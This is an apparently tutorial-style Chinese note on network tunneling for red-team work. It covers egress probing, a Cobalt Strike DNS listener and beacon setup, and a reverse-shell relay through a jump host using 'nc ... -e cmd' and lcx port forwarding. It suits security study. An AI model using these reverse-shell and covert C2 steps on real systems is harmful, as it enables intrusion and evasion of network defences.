隧道技术概述:
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截
CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
OSI七层模型

正反向连接
正向:攻击机主动连接目标
反向:目标主动来连接攻击机
常用的隧道技术有以下三种:
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
协议出网探测:
1. TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令:nc <IP> <端口>
2. HTTP 协议
用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3. ICMP 协议
用“ping”命令,执行ping <IP地址/域名>
4. DNS 协议
检测DNS连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
5、其他协议或端口直接测
单协议出网-探针并上线CS(dns):
环境/场景:防火墙设置只出网DNS。
利用:CS配置上线监听器DNS

云主机安全组配置端口53启用;
买一个域名修改解析记录如下:
A记录->cs主机名->CS服务器IP
NS记录->ns1主机名->上个A记录地址
NS记录->ns2主机名->上个A记录地址
3.配置DNS监听器内容如下:
ns1.xxxx.com
ns2.xxxx.com
cs.xxxx.com
4.生成后门执行上线后启用命令:
check in
mode dns-txt
shell whoami
完全不出网-探针并上线CS(正反向/重定向转发)
场景:

利用条件:上线或反弹均需要一台能出网的跳板机
1、反弹shell:
win10受害机:nc 192.168.3.104 1111 -e cmd //反向连接
将cmd权限流量转发至192.168.3.104 1111端口上
win7跳板机:lcx -listen 1111 2222 //转发
将本地的1111流量转发至2222端口上
本机:nc 192.168.46.142 2222 //正向连接
直接连接192.168.46.142上2222数据
2、上线CS:
1、跳板机先上线
2、在跳板机上创建监听
3、将创建的监听生成后门
4、不出网机器执行后门上线